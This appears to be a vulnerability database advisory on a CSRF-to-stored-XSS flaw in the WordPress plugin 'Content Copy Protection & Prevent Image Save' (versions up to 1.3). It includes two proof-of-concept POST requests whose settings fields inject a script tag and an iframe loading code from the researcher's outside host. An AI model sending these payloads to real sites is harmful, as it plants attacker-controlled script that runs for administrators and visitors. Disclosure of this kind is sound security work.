WordPress Plugin Vulnerabilities
Content Copy Protection & Prevent Image Save <= 1.3 - CSRF to Stored Cross-Site Scripting (XSS)
Description
The plugin does not check for CSRF when saving its settings, not perform any validation and sanitisation on them, allowing attackers to make a logged in administrator set arbitrary XSS payloads in them.
Proof of Concept
### -- [ PoC #1 | Authenticated Persistent XSS & XFS | Image saving disabled message text: ] [!] POST /wp-admin/options-general.php?page=Prevent_Content_Copy_and_Image_Save.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cookie: [admin cookies] select=1&CTRLA=1&CTRLC=1&CTRLX=1&CTRLV=1&CTRLINPUT=1&saveimg=1&image_save_msg=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&CTRLS=1&cmenu=1&no_menu_msg=PoC+by+m0ze&Save_Options=++Update+Options++ ### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Context menu disabled message text: ] [!] POST /wp-admin/options-general.php?page=Prevent_Content_Copy_and_Image_Save.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 234 Cookie: [admin cookies] select=1&CTRLA=1&CTRLC=1&CTRLX=1&CTRLV=1&CTRLINPUT=1&saveimg=1&image_save_msg=PoC+by+m0ze&CTRLS=1&cmenu=1&no_menu_msg=%22%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E&Save_Options=++Update+Options++
Affects Plugins
References
CVE
YouTube Video
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
m0ze
Submitter
m0ze
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-04-12 (about 3 years ago)
Added
2021-05-17 (about 2 years ago)
Last Updated
2021-05-24 (about 2 years ago)